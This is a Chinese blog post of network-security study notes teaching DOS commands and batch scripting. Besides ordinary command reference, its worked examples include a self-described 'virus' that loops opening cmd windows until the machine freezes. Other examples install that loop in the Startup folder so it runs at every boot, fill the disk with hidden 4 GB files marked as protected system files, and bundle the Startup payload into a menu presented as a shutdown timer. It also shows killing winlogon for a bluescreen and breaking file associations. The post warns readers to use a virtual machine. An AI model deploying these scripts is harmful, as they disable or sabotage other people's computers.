三、DOS命令&批处理
- 一级目录
- 二级目录
- 三级目录
- (一)DOS命令
- 1、如何操作DOS命令
- 2、基本命令
- 3.目录相关命令
- 4.文件相关
- 5. shutdown 定时操作
- 6. 重定向符号
- (二) 批处理编写
- 1.批处理作用
- 2.如何创建批处理
- 3.批处理的基本语法
- ① echo
- ② @echo off
- ③ pause
- ④ title
- ⑤ echo. (※ 点前没有空格)
- ⑥ ping -n 数字 IP地址
- ⑦ set
- ⑧ :区块名
- ⑨ goto 区块名 跳转区块
- ⑩ start 打开程序/网址
- ①① copy 文件A 目录B 将文件A复制到目录B
- ①② 系统定义变量 userprofile
- ①③ % 变量 % 取变量的值(引用变量)
- ①④ ntsd -c q -pn 进程名称 (针对xp和2003系统,其他win7/10系统不可用)
- ①⑤ taskkill /im 进程名称 /f 强制杀死指定进程
- ①⑥ taskkill /im explorer.exe /f 杀死桌面进程
- 4.综合案例
- 案例1:第一版:编写一个简单的三行病毒脚本
- ❤ 案例2:加强版:电脑一开机就执行次↑↑↑脚本程序:
- 案例3:编写一个清理磁盘垃圾脚本:
- 案例4:快速生成文件,占用磁盘空间
- ❤案例5:加强版:创建大文件并隐藏为系统保护文件
- 案例6:编写定时关机小程序(练习变量的基本用法)
个人学习笔记
三、DOS命令&批处理
- 一级目录
- 二级目录
- 三级目录
- (一)DOS命令
- 1、如何操作DOS命令
- 2、基本命令
- 3.目录相关命令
- 4.文件相关
- 5. shutdown 定时操作
- 6. 重定向符号
- (二) 批处理编写
- 1.批处理作用
- 2.如何创建批处理
- 3.批处理的基本语法
- ① echo
- ② @echo off
- ③ pause
- ④ title
- ⑤ echo. (※ 点前没有空格)
- ⑥ ping -n 数字 IP地址
- ⑦ set
- ⑧ :区块名
- ⑨ goto 区块名 跳转区块
- ⑩ start 打开程序/网址
- ①① copy 文件A 目录B 将文件A复制到目录B
- ①② 系统定义变量 userprofile
- ①③ % 变量 % 取变量的值(引用变量)
- ①④ ntsd -c q -pn 进程名称 (针对xp和2003系统,其他win7/10系统不可用)
- ①⑤ taskkill /im 进程名称 /f 强制杀死指定进程
- ①⑥ taskkill /im explorer.exe /f 杀死桌面进程
- 4.综合案例
- 案例1:第一版:编写一个简单的三行病毒脚本
- ❤ 案例2:加强版:电脑一开机就执行次↑↑↑脚本程序:
- 案例3:编写一个清理磁盘垃圾脚本:
- 案例4:快速生成文件,占用磁盘空间
- ❤案例5:加强版:创建大文件并隐藏为系统保护文件
- 案例6:编写定时关机小程序(练习变量的基本用法)
一级目录
二级目录
三级目录
(一)DOS命令
1、如何操作DOS命令
① 开始—运行—输入cmd–回车,将调出C:\windows\system32\cmd.exe
或者
② Win + R —运行—输入cmd–回车
2、基本命令
- color
- 作用:修改控制台背景和颜色
- ※ 第一个数表示背景颜色,第二个数表示字体颜色
- color f0 背景设置呈亮白色字体黑色
- color ? 帮助 (查看全部颜色编号)
3.目录相关命令
- cd… 返回上级目录
- cd / 返回根目录
- d: 进入D盘
- cls 清屏。清空所有dos操作
- dir 显示当前盘符文件信息
- dir /a 显示当前磁盘所有包括(隐藏的受保护的)系统文件
- rd 文件夹 [文件夹 文件夹 …] 删除空文件夹
- rd /q 无提示删除非空文件夹
- rd ./s/q 无提示清空磁盘(慎用)
4.文件相关
- 浏览文件
- type 文件名.扩展名 显示文件内容
- type 文件名.扩展名 |more 分页显示 文件(按空格显示下一页)
- dir 路径\目录名 | more 分页显示目录下的内容
- |more 分页显示(任何浏览命令后跟 |more 都可以分页显示 ↑↑↑)
- type 文件名.扩展名 显示文件内容
dir c:\windows | more 浏览C盘下 windows目录下的文件
- 创建文件
- 1)echo 文本内容
- 将文本内容输出在控制台上(输出一句话)
- echo 文本内容 >> 文件名
- 将文本内容保存在文件中 (创建新文件并编辑文件内容),echo每次只能添加一句话
- 2)copy con 文件名.扩展名 (复制屏幕到文件,con是屏幕意思可以多行文本)
- 开始编写内容(多行)
- 文件内容编辑结束按:Ctrl+z退出编辑模式,回车终止编写
- 3) fsutil file createnew 路径\文件名 数字
- 在指定路径下创建指定大小的文件(单位字节) 空格占位
- 快速生成(内容式)空文档(大小不为空) 可以指定文件类型和大小
- 例 :fsutil file createnew c:\system.ini 数字
- 该命令可以创建大文件,瞬间占满磁盘空间,再加上attrib隐藏命令,一般用户查询不到磁盘空间变小的原因💗
- 1)echo 文本内容
- 删除文件
- 创建文件夹
- md 文件夹名称 创建文件夹
- md 文件夹A 文件夹B 创建两个文件夹A和B
- ❤ 若文件名或者路径中既有变量又有特殊符号时,可以在文件名或路径的前后加双引号括起来表示一个整体(固定用法)
- 移动、复制操作
- ren 旧名 新名 重命名
- move 原地址 新地址 移动
- copy 原地址 目的地址 复制粘贴
- attrib 修改文件或文件夹属性 命令
- attrib +h 文件全名/文件夹名 #隐藏文件/文件夹 (h表示隐藏 )
- attrib -h 文件全名/文件夹名 取消隐藏文件/文件夹
- attrib +h +s +a 文件名 将文件夹隐藏并提升为被系统保护的文件
- 注释:+改为 - 为取消修改文件属性
- +h 表示隐藏
- +a 表示 只读属性(用户不能修改)
- +s 表示提升为受保护的系统级文件
- 就算在文件夹选项中显示所有隐藏文件 ,该文件依然处于隐藏状态)
- 只有将“隐藏受保护的操作系统文件”取消勾选,普通用户才能查看
- assco 修改关联性
- 作用:修改程序的关联性(原有的.txt文件用记事本打开,.mp3格式用音乐播放器打开,系统内部有默认的关联属性)
- assoc .txt=exefile
- 将.txt格式结尾的文件修改为.exe的可执行程序文件(系统将认为所有txt格式的文件也是可执行文件运行,打乱计算机的关联性)
- 千万不能修改 .exe ,会损坏系统
- assoc .txt=txtfile 恢复(将前后的格式写一直 就可以恢复)
5. shutdown 定时操作
- shutdown -s -t 100 定时关机 (时间单位:秒)100秒后关机
- shutdown -s -f -t 100 定时强制关机(时间单位秒) 100秒后强制关机
- shutdown -r -t 秒 定时重启,同上加-f,为强制重启
- shutdown -a 取消一切定时任务
- shutdown -l 注销,通logoff命令相同
- **shutdown -s -f -t 100 -c “文本内容” ** 100秒后强制关机并显示 “ 文本内容 ”
- -s 关机(只能通过命令解除)
- -r 重启
- -t 数字 指定时间 (单位:秒)
- -a 取消一切定时任务
- -l 注销=logoff
- -f 强制(时间一到无任何提示执行关机/重启)
- -c “ 字符串 ” 制定提示字符串
6. 重定向符号
1> 正确输出
2> 错误输出
>> 追加
> 覆盖
电脑不显示文件扩展名怎么调 【文件夹选项-查看】
将“隐藏已知文件类型扩展名”的复选框取消勾选。
※ 电脑中隐藏的文件/文件夹如何显示
在“隐藏文件和文件夹”下勾选
“显示隐藏的文件、文件夹和驱动器”
(二) 批处理编写
1.批处理作用
- 自上而下成批的处理每一条命令,直到执行最后一行!(处理命令、脚本)
- 不管某条命令执行成功与否,都会继续执行下一条命令
- 在Windows中是批处理文件
- 在Linux中shell命令编写的为shell脚本
2.如何创建批处理
- 扩展名:.bat
- 创建方法:
- 新建一个记事本文件,然后将扩展名改为 .bat
- 右键编辑,在里面编写命令,保存
- 双击文件执行
- 注:修改扩展名时,需要将文件的扩展名显示出来后再进行修改。
- 案例:新建一个记事本文件,然后将扩展名改为把他,内容如下:
- d: //切换盘符到底盘
- cd / //进入根目录
- cd tmp //进入tmp目录
- del ./s/q //无提示删除所有文件
3.批处理的基本语法
① echo
- 作用:输出显示文本
- 可以显示文本但是显示结果有太多重复路径 并不好看
- 可以显示文本但是显示结果有太多重复路径 并不好看
② @echo off
- 作用:关闭回显功能,也就是屏蔽过程(所有命令不现实路径和执行过程,只显示结果),建议放在批处理的首行
③ pause
- 作用:暂停批处理运行(先不执行后面的命令,防止页面一闪而过,看不到执行结果)
- 案例:
④ title
- 作用:为批处理脚本设置显示标题
⑤ echo. (※ 点前没有空格)
- 作用:在智行批处理脚本时,(运行结果)可以空一行
@echo off
title 柒柒小程序
echo =================
echo.
echo 欢迎使定时关机小程序
echo.
echo ==========================
pause
⑥ ping -n 数字 IP地址
- 作用:发送指定的数据包数 (默认4个数据包,发多个可以达到延迟的效果)
ping -n 10 127.0.0.1 测试本机发送10个数据包
ping -n 10 127.0.0.1 >nul 2>nul 控制台不现实ping的过程
>nul 是指正确结果用nul覆盖 ,结果显示为空
2>nul 异常结果(错误输出)也输出为nul 结果显示依然为空
- so ping的过程不会在页面显示,页面会卡直到ping通后继续运行,达到延时的效果
⑦ set
- 作用:设置变量,常用于在脚本中互动赋值。
set /p time = 请输入时间: 互动赋值
/p 变量的值为输入内容
%time% 引用变量
@echo off
title 柒柒小程序
echo ==========================
echo.
echo 欢迎使定时关机小程序
echo.
echo ==========================
set /p time = 请输入时间(单位:秒): // 等待用户输入定时关机时间
shutdown -s -f -t %time%
echo 定时关机已设置完毕,谢谢使用!
pause
⑧ :区块名
- 作用:定义一个命令区间,将若干个命令划分成不同区块,
- 每个冒号开始是一个区块,冒号后面区块名,另起一行写命令
- 冒号:不是命令,系统也不会执行冒号所在的这句话,但是系统可- - 以识别进入不同的区块,
- 去掉冒号后,就会变成一个整体命令
- 冒号单独使用没有任何意义 ,必须和“ goto ”命令一起使用才有意义
⑨ goto 区块名 跳转区块
- (上一条命令执行完后加上goto区块名)跳转到另一个区块命令
- 为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论- 少了哪个或多了哪个都会出错。当程序运行到goto时,将自动跳转到:定义的标签部分去执行命令块了,所有:和goto联合起来可以实现在批处理执行时进行跳转功能。
⑩ start 打开程序/网址
- start 默认打开cmd窗口
- start 路径\程序名 打开某程序
- start 网址 打开某网页
①① copy 文件A 目录B 将文件A复制到目录B
①② 系统定义变量 userprofile
- 作用:值是:当前登录用户的家目录路径
①③ % 变量 % 取变量的值(引用变量)
- %userprofile% 指当前用户的家目录
- ❤ 若文件名或者路径中既有变量又有特殊符号时,可以在文件名或路径的前后加双引号括起来表示一个整体(固定用法)
“%userprofile%\ Start Menu\Programs\Startup"
copy qq.bat "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
①④ ntsd -c q -pn 进程名称 (针对xp和2003系统,其他win7/10系统不可用)
作用: 强制杀死指定进程(值适用于2003服务器系统)
winlogon.exe 进程名称,是Windows登录进程
ntsd -c q -pn winlogon.exe 针对xp和2003系统的蓝屏重启
①⑤ taskkill /im 进程名称 /f 强制杀死指定进程
①⑥ taskkill /im explorer.exe /f 杀死桌面进程
explorer.exe 桌面进程
4.综合案例
案例1:第一版:编写一个简单的三行病毒脚本
:w // 区块w
start // 打开cmd窗口
goto w // 跳转到w区块 (循环打开cmd窗口,然后死机)
※ 注意不要在真实机中执行,在虚拟机中执行前做好文档备份,会死机!!!
❤ 案例2:加强版:电脑一开机就执行次↑↑↑脚本程序:
可以将脚本文件存放在电脑的系统启动程序中,可以达到每次开机都执行该脚本的效果(会损坏系统的启动程序,切勿在真实机中进行)
※ 启动程序的路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\「开始」菜单\程序\启动
路径默认是以Administrator登录的方式,要是对方用其他用户登录,这个路径就会失效,因此可以用系统变量 userprofile 来代替当前登录用户的家目录(Administrator前面的部分),此时无论用任何用户登录系统都会进入对应的启动文件
copy qq.bat "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
将qq.bat文件复制到启动程序中
:w // 区块w
start // 打开cmd窗口
goto w // 跳转到w区块 (循环打开cmd窗口,然后死机)
※ 此时每次用户开机,就会执行此程序,循环打开cmd窗口,直到死机。若未知系统版本可以将win10/7/2008/2003/xp系统路径都复制一遍 ,总有一条命令会成功。
案例3:编写一个清理磁盘垃圾脚本:
@echo off // 关闭回显
color 0a // 更换控制台显示颜色
title Garbage cleaning procedures // 更改窗口显示标题
echo. // 输出空行
echo ******************************* //输出* 用于分割装饰
echo.
echo Can clean up the system garbage, // 输出字符串 用于说明脚本作用
echo if intercepted, please release
echo.
echo *******************************
pause //暂停
echo.
echo garbage is cleanning......
E: >nul 2>nul // 切换盘符,执行结果不显示到控制台
cd \ >nul 2>nul // 进入磁盘根目录,执行结果不显示到控制台
cd tmp >nul 2>nul // 进入tmp目录,执行结果不显示到控制台
del ./s/q >nul 2>nul // 删除当前目录下所有文件,执行结果不显示到控制台
rd ./s/q >nul 2>nul // 删除当前目录下所有文件夹,执行结果不显示到控制台
ping -n 10 127.0.0.1 >nul 2>nul // 延时10个数据包
echo.
echo finished!
ping -n 10 127.0.0.1 >nul 2>nul // 延时10个数据包,看到完成提示,关闭控制台
案例4:快速生成文件,占用磁盘空间
@echo off // 关闭回显 页面不显示执行过程
e: //切换盘符
cd\ //进入根目录
md tmp //创建tmp目录
cd tmp // 进入tmp目录
fsutil file createnew e:\tmp\sys.ini 4096000000 >nul 2>nul (6个0是4个G)
fsutil file createnew e:\tmp\sys0.ini 4096000000 >nul 2>nul //快速生成一个4G的文件
fsutil file createnew e:\tmp\sys1.ini 4096000000 >nul 2>nul
fsutil file createnew e:\tmp\sys2.ini 4096000000 >nul 2>nul
fsutil file createnew e:\tmp\sys3.ini 4096000000 >nul 2>nul
pause // 暂停查看结果
※ 可以配合清理垃圾脚本清空
❤案例5:加强版:创建大文件并隐藏为系统保护文件
@echo off
e:
cd\
md tmp
cd tmp
fsutil file createnew e:\tmp\sys.ini 4096000000 >nul 2>nul
fsutil file createnew e:\tmp\sys0.ini 4096000000 >nul 2>nul
fsutil file createnew e:\tmp\sys1.ini 4096000000 >nul 2>nul
fsutil file createnew e:\tmp\sys2.ini 4096000000 >nul 2>nul
fsutil file createnew e:\tmp\sys3.ini 4096000000 >nul 2>nul
cd.. // 返回上级目录 退出tmp目录(这一步容易忘)
attrib +h +s +a tmp // 隐藏tmp目录并提升为受系统保护的文件
pause
※ 将大文件隐藏后,一般不可查询到,可用dir -a命令显示全部或通过“文件夹选项”调出隐藏文件。
案例6:编写定时关机小程序(练习变量的基本用法)
@echo off
title 柒柒小程序
color 0a
:menu
cls
echo *********************************************
echo.
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.添加QQ.bat文件到启动程序(每次开机时循环打开cmd命令)
echo 4.退出
echo.
echo ***********************************************
set /p num =选择菜单:
if "%num%" =="1" goto tu
if "%num%" =="2" goto ca
if "%num%" =="3" goto ad
if "%num%" =="4" goto ou
echo 只能输入菜单编号:
pause // 暂停 ,防止直接进如区块1,顺序执行区块命令
goto menu
:tu
set /p y= 请输入关机时间(单位:秒): // 定义变量y,用户自定义关机时间
shutdown -s -f -t %y% //引用变量
goto menu // 跳转到菜单
:ca
shutdown -a // 取消定时
echo menu
:ad
echo :w >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QQ.bat"
// 将“w”保存到QQ.bat文件中并将文件保存在启动程序中
echo start >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QQ.bat"
// 将“start”保存到QQ.bat文件中并将文件保存在启动程序中
echo goto w >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QQ.bat"
// 将“goto w”保存到QQ.bat文件中并将文件保存在启动程序中
echo 脚本制作完成,下次开机启动
//※ 2 区块 在启动程序中生成一个“QQ.bat”程序,每次开机/重启就会执行此文件,循环打开cmd窗口并死机。
:ou
exit
☆ 以上内容仅供学习使用,勿做他途
往期博客:
【网络安全学习笔记】day1 VM虚拟架构与系统部署
【网络安全学习笔记】day2 IP地址详解
本期博客:
【网络安全学习笔记】day3 DOS命令&批处理
下期博客:
【网络安全学习笔记】day4 用户与组管理
【网络安全学习笔记】day5 服务器远程管理
【网络安全学习笔记】day6 NTFS权限概述
更多推荐
【网络安全学习笔记】day3 DOS命令&批处理
发布评论